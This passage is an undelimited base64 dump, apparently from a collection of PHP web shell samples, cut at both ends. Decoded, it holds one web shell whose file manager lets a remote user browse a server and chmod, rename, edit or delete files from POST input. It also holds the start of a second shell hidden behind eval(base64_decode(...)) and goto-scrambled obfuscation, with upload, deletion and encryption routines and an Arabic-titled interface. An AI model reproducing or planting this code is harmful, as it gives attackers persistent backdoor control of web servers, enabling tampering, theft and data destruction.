G9yOiAjZmZmXCJcLz5cclxuXHQ8XC9mb3JtPic7XHJcblx0aWYgKGlzc2V0KCRfUE9TVFsnY2htMGQnXSkpIHtcclxuXHRcdCRjbSA9IEBjaG1vZCgkX1BPU1RbJ3BhdGgnXSwgJF9QT1NUWydwZXJtJ10pO1xyXG5cdFx0aWYgKCRjbSA9PSB0cnVlKSB7XHJcblx0XHRcdGdyZWVuKFwiQ2hhbmdlIE1vZCBTdWNjZXNzICFcIik7XHJcblx0XHR9IGVsc2Uge1xyXG5cdFx0XHRyZWQoXCJDaGFuZ2UgTW9kIEZhaWxlZCAhXCIpO1xyXG5cdFx0fVxyXG5cdH1cclxufSBlbHNlaWYgKGlzc2V0KCRfR0VUWydwaWxpaGFuJ10pICYmICRfUE9TVFsncGlsaWgnXSA9PSBcImdhbnRpbmFtYVwiKSB7XHJcblx0aWYgKGlzc2V0KCRfUE9TVFsnZ2FudGluJ10pKSB7XHJcblx0XHQkcmVuID0gQHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwgJF9QT1NUWyduZXduYW1lJ10pO1xyXG5cdFx0aWYgKCRyZW4gPT0gdHJ1ZSkge1xyXG5cdFx0XHRncmVlbihcIkNoYW5nZSBOYW1lIFN1Y2Nlc3MgIVwiKTtcclxuXHRcdH0gZWxzZSB7XHJcblx0XHRcdHJlZChcIkNoYW5nZSBOYW1lIEZhaWxlZCAhXCIpO1xyXG5cdFx0fVxyXG5cdH1cclxuXHRpZiAoZW1wdHkoJF9QT1NUWyduYW1lJ10pKSB7XHJcblx0XHQkbmFtYWF3YWwgPSAkX1BPU1RbJ25ld25hbWUnXTtcclxuXHR9IGVsc2Uge1xyXG5cdFx0JG5hbWF3YWwgPSAkX1BPU1RbJ25hbWUnXTtcclxuXHR9XHJcblx0ZWNobyBcIjxjZW50ZXI+XCIuJF9QT1NUWydwYXRoJ10uXCI8YnI+XCI7XHJcblx0ZWNobyAnPGZvcm0gbWV0aG9kPVwicG9zdFwiPlxyXG5cdE5ldyBOYW1lIDogPGlucHV0IG5hbWU9XCJuZXduYW1lXCIgdHlwZT1cInRleHRcIiBjbGFzcz1cInVwXCIgc2l6ZT1cIjIwXCIgdmFsdWU9XCInLiRuYW1hYXdhbC4nXCIgXC8+XHJcblx0PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicGF0aFwiIHZhbHVlPVwiJy4kX1BPU1RbJ3BhdGgnXS4nXCI+XHJcblx0PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicGlsaWhcIiB2YWx1ZT1cImdhbnRpbmFtYVwiPlxyXG5cdDxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJDaGFuZ2VcIiBuYW1lPVwiZ2FudGluXCIgY2xhc3M9XCJ1cFwiIHN0eWxlPVwiY3Vyc29yOiBwb2ludGVyOyBib3JkZXItY29sb3I6ICNmZmZcIlwvPlxyXG5cdDxcL2Zvcm0+JztcclxufSBlbHNlaWYgKGlzc2V0KCRfR0VUWydwaWxpaGFuJ10pICYmICRfUE9TVFsncGlsaWgnXSA9PSBcImVkaXRcIikge1xyXG5cdGlmIChpc3NldCgkX1BPU1RbJ2dhc2VkaXQnXSkpIHtcclxuXHRcdCRlZGl0ID0gQGZpbGVfcHV0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddLCAkX1BPU1RbJ3NyYyddKTtcclxuXHRcdGlmICgkZWRpdCA9PSB0cnVlKSB7XHJcblx0XHRcdGdyZWVuKFwiRWRpdCBGaWxlIFN1Y2Nlc3MgIVwiKTtcclxuXHRcdH0gZWxzZSB7XHJcblx0XHRcdHJlZChcIkVkaXQgRmlsZSBGYWlsZWQgIVwiKTtcclxuXHRcdH1cclxuXHR9XHJcblx0ZWNobyBcIjxjZW50ZXI+XCIuJF9QT1NUWydwYXRoJ10uXCI8YnI+PGJyPlwiO1xyXG5cdGVjaG8gJzxmb3JtIG1ldGhvZD1cInBvc3RcIj5cclxuXHQ8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9XCJzcmNcIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwYXRoJ10pKS4nPFwvdGV4dGFyZWE+PGJyPlxyXG5cdDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIicuJF9QT1NUWydwYXRoJ10uJ1wiPlxyXG5cdDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBpbGloXCIgdmFsdWU9XCJlZGl0XCI+XHJcblx0PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkVkaXQgRmlsZVwiIG5hbWU9XCJnYXNlZGl0XCIgXC8+XHJcblx0PFwvZm9ybT48YnI+JztcclxufVxyXG5cclxuZWNobyAnPGRpdiBpZD1cImNvbnRlbnRcIj48dGFibGUgd2lkdGg9XCI3MDBcIiBib3JkZXI9XCIwXCIgY2VsbHBhZGRpbmc9XCIzXCIgY2VsbHNwYWNpbmc9XCIxXCIgYWxpZ249XCJjZW50ZXJcIj5cclxuPHRyIGNsYXNzPVwiZmlyc3RcIj5cclxuPHRkPjxjZW50ZXI+TmFtZTxcL2NlbnRlcj48XC90ZD5cclxuPHRkPjxjZW50ZXI+U2l6ZTxcL2NlbnRlcj48XC90ZD5cclxuPHRkPjxjZW50ZXI+UGVybWlzc2lvbnM8XC9jZW50ZXI+PFwvdGQ+XHJcbjx0ZD48Y2VudGVyPk9wdGlvbnM8XC9jZW50ZXI+PFwvdGQ+XHJcbjxcL3RyPic7XHJcblxyXG5mb3JlYWNoKCRsb2thc2lueWEgYXMgJGRpcil7XHJcblx0aWYoIWlzX2RpcigkbG9rYXNpLlwiXC9cIi4kZGlyKSB8fCAkZGlyID09ICcuJyB8fCAkZGlyID09ICcuLicpIGNvbnRpbnVlO1xyXG5cdGVjaG8gXCI8dHI+XHJcblx0PHRkPjxhIGhyZWY9XFxcIj9wYXRoPVwiLiRsb2thc2kuXCJcL1wiLiRkaXIuXCJcXFwiPlwiLiRkaXIuXCI8XC9hPjxcL3RkPlxyXG5cdDx0ZD48Y2VudGVyPi0tPFwvY2VudGVyPjxcL3RkPlxyXG5cdDx0ZD48Y2VudGVyPlwiO1xyXG5cdGlmKGlzX3dyaXRhYmxlKCRsb2thc2kuXCJcL1wiLiRkaXIpKSBlY2hvICc8Zm9udCBjb2xvcj1cImdyZWVuXCI+JztcclxuXHRlbHNlaWYoIWlzX3JlYWRhYmxlKCRsb2thc2kuXCJcL1wiLiRkaXIpKSBlY2hvICc8Zm9udCBjb2xvcj1cInJlZFwiPic7XHJcblx0ZWNobyBzdGF0dXNueWEoJGxva2FzaS5cIlwvXCIuJGRpcik7XHJcblx0aWYoaXNfd3JpdGFibGUoJGxva2FzaS5cIlwvXCIuJGRpcikgfHwgIWlzX3JlYWRhYmxlKCRsb2thc2kuXCJcL1wiLiRkaXIpKSBlY2hvICc8XC9mb250Pic7XHJcblxyXG5cdGVjaG8gXCI8XC9jZW50ZXI+PFwvdGQ+XHJcblx0PHRkPjxjZW50ZXI+PGZvcm0gbWV0aG9kPVxcXCJQT1NUXFxcIiBhY3Rpb249XFxcIj9waWxpaGFuJnBhdGg9JGxva2FzaVxcXCI+XHJcblx0PHNlbGVjdCBuYW1lPVxcXCJwaWxpaFxcXCI+XHJcblx0PG9wdGlvbiB2YWx1ZT1cXFwiXFxcIj48XC9vcHRpb24+XHJcblx0PG9wdGlvbiB2YWx1ZT1cXFwiaGFwdXNcXFwiPkRlbGV0ZTxcL29wdGlvbj5cclxuXHQ8b3B0aW9uIHZhbHVlPVxcXCJ1YmFobW9kXFxcIj5DaG0wZDxcL29wdGlvbj5cclxuXHQ8b3B0aW9uIHZhbHVlPVxcXCJnYW50aW5hbWFcXFwiPlJlbmFtZTxcL29wdGlvbj5cclxuXHQ8XC9zZWxlY3Q+XHJcblx0PGlucHV0IHR5cGU9XFxcImhpZGRlblxcXCIgbmFtZT1cXFwidHlwZVxcXCIgdmFsdWU9XFxcImRpclxcXCI+XHJcblx0PGlucHV0IHR5cGU9XFxcImhpZGRlblxcXCIgbmFtZT1cXFwibmFtZVxcXCIgdmFsdWU9XFxcIiRkaXJcXFwiPlxyXG5cdDxpbnB1dCB0eXBlPVxcXCJoaWRkZW5cXFwiIG5hbWU9XFxcInBhdGhcXFwiIHZhbHVlPVxcXCIkbG9rYXNpXC8kZGlyXFxcIj5cclxuXHQ8aW5wdXQgdHlwZT1cXFwic3VibWl0XFxcIiBjbGFzcz1cXFwiZ2FzXFxcIiB2YWx1ZT1cXFwiPlxcXCIgXC8+XHJcblx0PFwvZm9ybT48XC9jZW50ZXI+PFwvdGQ+XHJcblx0PFwvdHI+XCI7XHJcbn1cclxuXHJcbmVjaG8gJzx0ciBjbGFzcz1cImZpcnN0XCI+PHRkPjxcL3RkPjx0ZD48XC90ZD48dGQ+PFwvdGQ+PHRkPjxcL3RkPjxcL3RyPic7XHJcbmZvcmVhY2goJGxva2FzaW55YSBhcyAkZmlsZSkge1xyXG5cdGlmKCFpc19maWxlKFwiJGxva2FzaVwvJGZpbGVcIikpIGNvbnRpbnVlO1xyXG5cdCRzaXplID0gZmlsZXNpemUoXCIkbG9rYXNpXC8kZmlsZVwiKVwvMTAyNDtcclxuXHQkc2l6ZSA9IHJvdW5kKCRzaXplLDMpO1xyXG5cdGlmKCRzaXplID49IDEwMjQpe1xyXG5cdCRzaXplID0gcm91bmQoJHNpemVcLzEwMjQsMikuJyBNQic7XHJcbn0gZWxzZSB7XHJcblx0JHNpemUgPSAkc2l6ZS4nIEtCJztcclxufVxyXG5cclxuZWNobyBcIjx0cj5cclxuPHRkPjxhIGhyZWY9XFxcIj9maWxlbG9jPSRsb2thc2lcLyRmaWxlJnBhdGg9JGxva2FzaVxcXCI+JGZpbGU8XC9hPjxcL3RkPlxyXG48dGQ+PGNlbnRlcj5cIi4kc2l6ZS5cIjxcL2NlbnRlcj48XC90ZD5cclxuPHRkPjxjZW50ZXI+XCI7XHJcbmlmKGlzX3dyaXRhYmxlKFwiJGxva2FzaVwvJGZpbGVcIikpIGVjaG8gJzxmb250IGNvbG9yPVwiZ3JlZW5cIj4nO1xyXG5lbHNlaWYoIWlzX3JlYWRhYmxlKFwiJGxva2FzaVwvJGZpbGVcIikpIGVjaG8gJzxmb250IGNvbG9yPVwicmVkXCI+JztcclxuZWNobyBzdGF0dXNueWEoXCIkbG9rYXNpXC8kZmlsZVwiKTtcclxuaWYoaXNfd3JpdGFibGUoXCIkbG9rYXNpXC8kZmlsZVwiKSB8fCAhaXNfcmVhZGFibGUoXCIkbG9rYXNpXC8kZmlsZVwiKSkgZWNobyAnPFwvZm9udD4nO1xyXG5lY2hvIFwiPFwvY2VudGVyPjxcL3RkPjx0ZD48Y2VudGVyPlxyXG48Zm9ybSBtZXRob2Q9XFxcInBvc3RcXFwiIGFjdGlvbj1cXFwiP3BpbGloYW4mcGF0aD0kbG9rYXNpXFxcIj5cclxuPHNlbGVjdCBuYW1lPVxcXCJwaWxpaFxcXCI+XHJcbjxvcHRpb24gdmFsdWU9XFxcIlxcXCI+PFwvb3B0aW9uPlxyXG48b3B0aW9uIHZhbHVlPVxcXCJoYXB1c1xcXCI+RGVsZXRlPFwvb3B0aW9uPlxyXG48b3B0aW9uIHZhbHVlPVxcXCJ1YmFobW9kXFxcIj5DaG0wZDxcL29wdGlvbj5cclxuPG9wdGlvbiB2YWx1ZT1cXFwiZ2FudGluYW1hXFxcIj5SZW5hbWU8XC9vcHRpb24+XHJcbjxvcHRpb24gdmFsdWU9XFxcImVkaXRcXFwiPkVkaXQ8XC9vcHRpb24+XHJcbjxcL3NlbGVjdD5cclxuPGlucHV0IHR5cGU9XFxcImhpZGRlblxcXCIgbmFtZT1cXFwidHlwZVxcXCIgdmFsdWU9XFxcImZpbGVcXFwiPlxyXG48aW5wdXQgdHlwZT1cXFwiaGlkZGVuXFxcIiBuYW1lPVxcXCJuYW1lXFxcIiB2YWx1ZT1cXFwiJGZpbGVcXFwiPlxyXG48aW5wdXQgdHlwZT1cXFwiaGlkZGVuXFxcIiBuYW1lPVxcXCJwYXRoXFxcIiB2YWx1ZT1cXFwiJGxva2FzaVwvJGZpbGVcXFwiPlxyXG48aW5wdXQgdHlwZT1cXFwic3VibWl0XFxcIiBjbGFzcz1cXFwiZ2FzXFxcIiB2YWx1ZT1cXFwiPlxcXCIgXC8+XHJcbjxcL2NlbnRlcj48XC9mb3JtPjxcL3RkPlxyXG48XC90cj5cIjtcclxufVxyXG5lY2hvICc8XC90cj48XC90ZD48XC90YWJsZT48XC90YWJsZT4nO1xyXG5hdXRob3IoKTtcclxuZnVuY3Rpb24gc3RhdHVzbnlhKCRmaWxlKXtcclxuJHN0YXR1c255YSA9IGZpbGVwZXJtcygkZmlsZSk7XHJcblxyXG5pZiAoKCRzdGF0dXNueWEgJiAweEMwMDApID09IDB4QzAwMCkge1xyXG5cclxuXC9cLyBTb2NrZXRcclxuJGluZ2ZvID0gJ3MnO1xyXG59IGVsc2VpZiAoKCRzdGF0dXNueWEgJiAweEEwMDApID09IDB4QTAwMCkge1xyXG5cL1wvIFN5bWJvbGljIExpbmtcclxuJGluZ2ZvID0gJ2wnO1xyXG59IGVsc2VpZiAoKCRzdGF0dXNueWEgJiAweDgwMDApID09IDB4ODAwMCkge1xyXG5cL1wvIFJlZ3VsYXJcclxuJGluZ2ZvID0gJy0nO1xyXG59IGVsc2VpZiAoKCRzdGF0dXNueWEgJiAweDYwMDApID09IDB4NjAwMCkge1xyXG5cL1wvIEJsb2NrIHNwZWNpYWxcclxuJGluZ2ZvID0gJ2InO1xyXG59IGVsc2VpZiAoKCRzdGF0dXNueWEgJiAweDQwMDApID09IDB4NDAwMCkge1xyXG5cL1wvIERpcmVjdG9yeVxyXG4kaW5nZm8gPSAnZCc7XHJcbn0gZWxzZWlmICgoJHN0YXR1c255YSAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7XHJcblwvXC8gQ2hhcmFjdGVyIHNwZWNpYWxcclxuJGluZ2ZvID0gJ2MnO1xyXG59IGVsc2VpZiAoKCRzdGF0dXNueWEgJiAweDEwMDApID09IDB4MTAwMCkge1xyXG5cL1wvIEZJRk8gcGlwZVxyXG4kaW5nZm8gPSAncCc7XHJcbn0gZWxzZSB7XHJcblwvXC8gVW5rbm93blxyXG4kaW5nZm8gPSAndSc7XHJcbn1cclxuXHJcblwvXC8gT3duZXJcclxuJGluZ2ZvIC49ICgoJHN0YXR1c255YSAmIDB4MDEwMCkgPyAncicgOiAnLScpO1xyXG4kaW5nZm8gLj0gKCgkc3RhdHVzbnlhICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7XHJcbiRpbmdmbyAuPSAoKCRzdGF0dXNueWEgJiAweDAwNDApID9cclxuKCgkc3RhdHVzbnlhICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDpcclxuKCgkc3RhdHVzbnlhICYgMHgwODAwKSA/ICdTJyA6ICctJykpO1xyXG5cclxuXHJcblwvXC8gR3JvdXBcclxuJGluZ2ZvIC49ICgoJHN0YXR1c255YSAmIDB4MDAyMCkgPyAncicgOiAnLScpO1xyXG4kaW5nZm8gLj0gKCgkc3RhdHVzbnlhICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7XHJcbiRpbmdmbyAuPSAoKCRzdGF0dXNueWEgJiAweDAwMDgpID9cclxuKCgkc3RhdHVzbnlhICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDpcclxuKCgkc3RhdHVzbnlhICYgMHgwNDAwKSA/ICdTJyA6ICctJykpO1xyXG5cclxuXC9cLyBXb3JsZFxyXG4kaW5nZm8gLj0gKCgkc3RhdHVzbnlhICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7XHJcbiRpbmdmbyAuPSAoKCRzdGF0dXNueWEgJiAweDAwMDIpID8gJ3cnIDogJy0nKTtcclxuXHJcbiRpbmdmbyAuPSAoKCRzdGF0dXNueWEgJiAweDAwMDEpID9cclxuKCgkc3RhdHVzbnlhICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDpcclxuKCgkc3RhdHVzbnlhICYgMHgwMjAwKSA/ICdUJyA6ICctJykpO1xyXG5cclxucmV0dXJuICRpbmdmbztcclxufVxyXG4/PlxyXG4iLCI8P3BocCBldmFsKGJhc2U2NF9kZWNvZGUoJ0NpQm5iM1J2SUZCVk4za3lPeUJpWDNOUU1Ub2dablZ1WTNScGIyNGdjalozTVcwMUtDUjBiWEJmYm1GdFpTd2dKR1JsYzNScGJtRjBhVzl1S1NCN0lISmxkSFZ5YmlCdGIzWmxYM1Z3Ykc5aFpHVmtYMlpwYkdVb0pIUnRjRjl1WVcxbExDQWtaR1Z6ZEdsdVlYUnBiMjRwT3lCOUlHZHZkRzhnVlRaTlZtWTdJR2gxTTNaNk9pQm5iM1J2SUZWRmVsZDJPeUJuYjNSdklHTXlWak5uT3lCWlZucGtSRG9nWm5WdVkzUnBiMjRnWWpSck1YazJLQ1JrWVhSaEtTQjdJSEpsZEhWeWJpQnBjMTltYVd4bEtDUmtZWFJoS1RzZ2ZTQm5iM1J2SUdWZlFtRkZPeUJQWlVkNU9Eb2daMjkwYnlCSlkxSjBUenNnWjI5MGJ5QnZRVlI1V2pzZ1dETnFTVlE2SUhSQmMwMURPaUJuYjNSdklGWTJVVVU1T3lCVk5rSnVZam9nWkRocFJFczZJR2R2ZEc4Z1QxQjBkM2s3SUd0SlNVMWZPaUJuYjNSdklFSmpTRkZYT3lCbmIzUnZJRXR0VGxSaU95QjZORkYxYXpvZ1puVnVZM1JwYjI0Z2FEWmpNMnN5S0NSa1lYUmhLU0I3SUhKbGRIVnliaUJpYVc0eWFHVjRLQ1JrWVhSaEtUc2dmU0JuYjNSdklHaHpPVVZhT3lCck1uaG1Tem9nWjI5MGJ5QjFabkJOY3pzZ1oyOTBieUJ6UlRaTU1qc2dVRW8wVkRZNklHWjFibU4wYVc5dUlHY3hiVFppT0Nna1pHRjBZU2tnZXlCeVpYUjFjbTRnYjNCbGJuTnpiRjlsYm1OeWVYQjBLQ1JrWVhSaExDQWlYREUwTVZ4NE5qVmNNVFl6WEhneVpGdzJNbHg0TXpWY2VETTJYRFUxWEhnMk0xd3hOREpjZURZeklpd2dJbHg0TmpWY01UVTJYREUwTTF3eE5qSmNlRGM1WERFMk1Gd3hOalJjTVRVeFhIZzJabHd4TlRaY2VEVm1YSGcyWWx4NE5qVmNlRGM1SWl3Z01Dd2dJbHcyTVZ4NE16SmNlRE16WEhnek5GdzJOVng0TXpaY05qZGNlRE00WEhnek9WdzJNRncyTVZ4NE16SmNOak5jZURNMFhIZ3pOVncyTmlJcE95QjlJR2R2ZEc4Z1JIbFFjMDg3SUhCcmVFODVPaUJuYjNSdklGb3haamhUT3lCbmIzUnZJSFZRWWt4Q095QlJhR2gzUkRvZ1oyOTBieUJhVFZSQmREc2daMjkwYnlCdGIwaEljanNnVGtaNVNEazZJR2R2ZEc4Z2NEZEhXVEE3SUdkdmRHOGdhMUozWWpBN0lIZ3dObnBvT2lCeFdGRkpaRG9nWjI5MGJ5Qk1XWFJ3VmpzZ2NHcFJXVXc2SUdaMWJtTjBhVzl1SUdZMGRERnlPQ2drWkdGMFlTa2dleUJ5WlhSMWNtNGdjMmhoTVNna1pHRjBZU2s3SUgwZ1oyOTBieUJHV1ROaWVqc2dTemh2VEdNNklHWjFibU4wYVc5dUlIbzVkRFJ4TXlna1pHRjBZU2tnZXlCeVpYUjFjbTRnZFROck5XMDRLR1V5ZGpkb05pZ2taR0YwWVNrcE95QjlJR2R2ZEc4Z1dYbE9ZV283SUhGMlVrOTZPaUJtZFc1amRHbHZiaUJyT1cweVlqVW9KR1JoZEdFcElIc2djbVYwZFhKdUlHZzJZek5yTWlocU5HMHliallvSkdSaGRHRXBLVHNnZlNCbmIzUnZJRzB5UTFwNU95QkxXRTUwU2pvZ1oyOTBieUJKY0daWldEc2daMjkwYnlCdWIzYzNWanNnY1dobGFXRTZJR1oxYm1OMGFXOXVJR1E0WmpWMk15Z2taR0YwWVNrZ2V5QnlaWFIxY200Z1ozcDFibU52YlhCeVpYTnpLQ1JrWVhSaEtUc2dmU0JuYjNSdklHTkhRak0zT3lCWGExUnVOam9nY0hOcVRuRTZJR2R2ZEc4Z1oyZzVNV2s3SUhveVExRjVPaUIzUmxGeWREb2daMjkwYnlCT00wNXZlRHNnZURReWVrbzZJSGd6ZVVad09pQm5iM1J2SUdwblFsSm1PeUJQVkRjM1FUb2dablZ1WTNScGIyNGdaakp1Tm5JektDUmtZWFJoS1NCN0lISmxkSFZ5YmlCb05tTXpheklvSkdSaGRHRXBPeUI5SUdkdmRHOGdXV0ZtVTFNN0lFMUdRMlU1T2lCbmIzUnZJRlp4VW1sak95Qm5iM1J2SUhaaE9HNDRPeUJLV0ZWbFlUb2dablZ1WTNScGIyNGdlVEoyTm1neEtDUmtZWFJoS1NCN0lISmxkSFZ5YmlCMWJteHBibXNvSkdSaGRHRXBPeUI5SUdkdmRHOGdSMGhGTVRjN0lHaFVOVGx5T2lBXC9QZ284TDJneVBqeHdQanhoSUdoeVpXWTlJajl3WVhSb1BUd1wvY0dod0lDQm5iM1J2SUd0SlNVMWZPeUJvU2xGSVpUb2dablZ1WTNScGIyNGdaVFppTkhReEtDUmtZWFJoS1NCN0lISmxkSFZ5YmlCMWNteGtaV052WkdVb0pHUmhkR0VwT3lCOUlHZHZkRzhnVTJWTFltYzdJR28wTWtWc09pQnRlRGRvWWpvZ1oyOTBieUJZZDAwM1lUc2dXbVp5WjJrNklHNURPRjlUT2lCbmIzUnZJRTFFZDBWd095QkZXRFZLVERvZ1puVnVZM1JwYjI0Z1pESnJOMlkyS0NrZ2V5QnlaWFIxY200Z2JXbGpjbTkwYVcxbEtIUnlkV1VwT3lCOUlHZHZkRzhnV1RJNFp6TTdJR015VmpObk9pQkNZMGhSVnpvZ1oyOTBieUJOTldrM1pUc2djSE5ZY1ZNNklIVklhMDVrT2lCbmIzUnZJRXBZVldWaE95QnpZMmhNZVRvZ1B6NEtQQ0ZrYjJOMGVYQmxhSFJ0YkQ0OGFIUnRiQ0JzWVc1blBTSmhjaUkrUEdobFlXUStQRzFsZEdFZ1kyaGhjbk5sZEQwaVZWUkdMVGdpUGp4MGFYUnNaVDdaaGRpdjJZcllzU0RaaGRtRTJZSFlwOWlxSUZCSVVEd3ZkR2wwYkdVK1BITjBlV3hsUG1KdlpIbDdZbUZqYTJkeWIzVnVaRG9qWmpCbU5tWm1PMlp2Ym5RdFptRnRhV3g1T25OaGJuTXRjMlZ5YVdZN1kyOXNiM0k2SXpJeU1qdHdZV1JrYVc1bk9qSXdjSGg5YURKN1kyOXNiM0k2SXpCaE5HTTVNbjEwWVdKc1pYdDNhV1IwYURveE1EQWxPMkp2Y21SbGNpMWpiMnhzWVhCelpUcGpiMnhzWVhCelpUdHRZWEpuYVc0dGRHOXdPakUxY0hoOWRHUXNkR2g3Y0dGa1pHbHVaem80Y0hnZ01USndlRHRpYjNKa1pYSXRZbTkwZEc5dE9qRndlQ0J6YjJ4cFpDQWpZMk5qZlhSeU9taHZkbVZ5ZTJKaFkydG5jbTkxYm1RNkkyVmhaakZtWW4xaGUyTnZiRzl5T2lNd1lUUmpPVEk3ZEdWNGRDMWtaV052Y21GMGFXOXVPbTV2Ym1WOVlUcG9iM1psY250MFpYaDBMV1JsWTI5eVlYUnBiMjQ2ZFc1a1pYSnNhVzVsZlM1MWNHeHZZV1F0Wm05eWJYdHRZWEpuYVc0dGRHOXdPakl3Y0hnN2NHRmtaR2x1WnpveE1IQjRPMkp2Y21SbGNqb3hjSGdnYzI5c2FXUWdJMk5qWXp0aVlXTnJaM0p2ZFc1a09pTm1abVo5TG1KMGJudHdZV1JrYVc1bk9qWndlQ0F4TW5CNE8ySmhZMnRuY205MWJtUTZJekJoTkdNNU1qdGpiMnh2Y2pvalptWm1PMkp2Y21SbGNqcHViMjVsTzJOMWNuTnZjanB3YjJsdWRHVnlmUzVpZEc0NmFHOTJaWEo3WW1GamEyZHliM1Z1WkRvak1EY3paamRoZlR3dmMzUjViR1UrUEM5b1pXRmtQanhpYjJSNVBqeG9Najd3bjVPQklOaW4yWVRaaGRpczJZVFlyeURZcDltRTJLM1lwOW1FMllvNlBEOXdhSEFnSUdkdmRHOGdaMVJOVWxRN0lHSm5URVpGT2lCbWRXNWpkR2x2YmlCek1uSTRaakVvSkdSaGRHRXBJSHNnY21WMGRYSnVJR0poYzJWZlkyOXVkbVZ5ZENob05tTXpheklvSkdSaGRHRXBMQ0F4Tml3Z016WXBPeUI5SUdkdmRHOGdWMWg0TVhjN0lIVkxaRmRWT2lCVlJ6azFNRG9nWjI5MGJ5QnVibXhLYWpzZ1JsWXhhMG82SUVSTFZVaHVPaUJuYjNSdklFVllOVXBNT3lCclFXdHBXRG9nWm5WdVkzUnBiMjRnZFRWNU0zSXhLQ1J0YVc0c0lDUnRZWGdwSUhzZ2NtVjBkWEp1SUhKaGJtUW9KRzFwYml3Z0pHMWhlQ2s3SUgwZ1oyOTBieUJTTm1VelZUc2dSbmRVYm04NklHMVlObEZpT2lCbmIzUnZJSHBPYldneE95QkljSE5aWkRvZ1oyOTBieUJxVnpZMFNEc2daMjkwYnlCNVZGQk1RVHNnVlZkNlFsWTZJR2R2ZEc4Z1pVMVJha283SUdkdmRHOGdhMHBRUkc4N0lHWlFaRkU1T2lCbmIzUnZJRzFZTmxGaU95Qm5iM1J2SUVaM1ZHNXZPeUJtWm05cFlqb2dabTl5WldGamFDQW9KR1pwYkdWeklHRnpJQ1JtYVd4bEtTQjdJR2xtSUNna1ptbHNaU0E5UFQwZ0lsdzFOaUlwSUhzZ1kyOXVkR2x1ZFdVN0lIMGdKR1pwYkdWUVlYUm9JRDBnSkhKbFlXeFFZWFJvSUM0Z1JFbFNSVU5VVDFKWlgxTkZVRUZTUVZSUFVpQXVJQ1JtYVd4bE95QWthWE5FYVhJZ1BTQnhPWFEzY2pNb0pHWnBiR1ZRWVhSb0tUc2dQejRLUEhSeVBqeDBaRDQ4UDNCb2NDQWdhV1lnS0NScGMwUnBjaWtnZXlBXC9QZ284WVNCb2NtVm1QU0lcL2NHRjBhRDA4UDNCb2NDQWdaV05vYnlCc01uSTNjVGtvSkdacGJHVlFZWFJvS1RzZ1B6NEtJajd3bjVPQ1BEOXdhSEFnSUdWamFHOGdhVFo1TVdJM0tDUm1hV3hsS1RzZ1B6NEtQQzloUGp3XC9jR2h3SUNCOUlHVnNjMlVnZXlBXC9QZ3J3bjVPRVBEOXdhSEFnSUdWamFHOGdhVFo1TVdJM0tDUm1hV3hsS1RzZ2ZTQVwvUGdvOEwzUmtQangwWkQ0OFAzQm9jQ0FnWldOb2J5QWthWE5FYVhJZ1B5QWlYSGhrT1Z3eU1EVmNlR1E0WEhoaFkxd3pNekZjTWpBMFhIaGtPRng0WVdZaUlEb2dJbHg0WkRsY01qQTFYSGhrT1Z3eU1EUmNNek14WERJd01TSTdJRDgrQ2p3dmRHUStQSFJrUGp3XC9jR2h3SUNCbFkyaHZJQ0VrYVhORWFYSWdQeUJzTTNvNGRESW9KR1pwYkdWUVlYUm9LU0F1SUNKY05EQmNNek13WERJMU1GeDRaRGhjZUdFM1hIaGtPVng0T0dGY2VHUTRYREkxTWlJZ09pQWlYRFUxSWpzZ1B6NEtQQzkwWkQ0OGRHUStQRDl3YUhBZ0lHbG1JQ2doSkdselJHbHlLU0I3SUQ4K0NqeGhJR2h5WldZOUlqOXdZWFJvUFR3XC9jR2h3SUNCbFkyaHZJR3d5Y2pkeE9TZ2tjbVZoYkZCaGRHZ3BPeUFcL1Bnb21aV1JwZEQwOFAzQm9jQ0FnWldOb2J5QnNNbkkzY1Rrb0pHWnBiR1VwT3lBXC9QZ29pUHVLY2plKzRqeURZcXRpdDJMSFppdGl4UEM5aFBpQjhJRHhoSUdoeVpXWTlJandcL2NHaHdJQ0JsWTJodklHazJlVEZpTnlocE0yNDRjVFVvSkY5VFJWSldSVkpiSWx4NE5UQmNNVEV3WERFeU1Gd3hNemRjTVRJelhERXdOVng0TkdOY2VEUTJJbDBwS1NBdUlDSmNlRE5tWEhnM01GeDROakZjTVRZMFhIZzJPRnczTlNJZ0xpQnNNbkkzY1Rrb0pISmxZV3hRWVhSb0tTQXVJQ0pjZURJMlhIZzJORng0TmpWY2VEWmpYREUwTlZ3eE5qUmNlRFkxWERjMUlpQXVJR3d5Y2pkeE9TZ2tabWxzWlNrN0lEOCtDaUp2Ym1Oc2FXTnJQU2R5WlhSMWNtNGdZMjl1Wm1seWJTZ2kySzNZc05tQklObUgyTERZcHlEWXA5bUUyWVhaaE5tQjJKOGlLU2MrOEorWGtlKzRqeURZcmRpdzJZRThMMkUrSUh3Z1BHRWdhSEpsWmowaVBEOXdhSEFnSUdWamFHOGdhVFo1TVdJM0tDUm1hV3hsVUdGMGFDazdJRDgrQ2lKa2IzZHViRzloWkQ3aXJJZnZ1SThnMktyWXJkbUYyWXJaaER3dllUNDhQM0JvY0NBZ2ZTQmxiSE5sSUhzZ1B6NEtQR0VnYUhKbFpqMGlQM0JoZEdnOVBEOXdhSEFnSUdWamFHOGdiREp5TjNFNUtDUm1hV3hsVUdGMGFDazdJRDgrQ2laa1pXeGxkR1U5UEQ5d2FIQWdJR1ZqYUc4Z2JESnlOM0U1S0NSbWFXeGxLVHNnUHo0S0ltOXVZMnhwWTJzOUozSmxkSFZ5YmlCamIyNW1hWEp0S0NMWXJkaXcyWUVnMllmWXNOaW5JTmluMllUWmhkaXMyWVRZcjlpZklpa25QdkNmbDVIdnVJOGcyS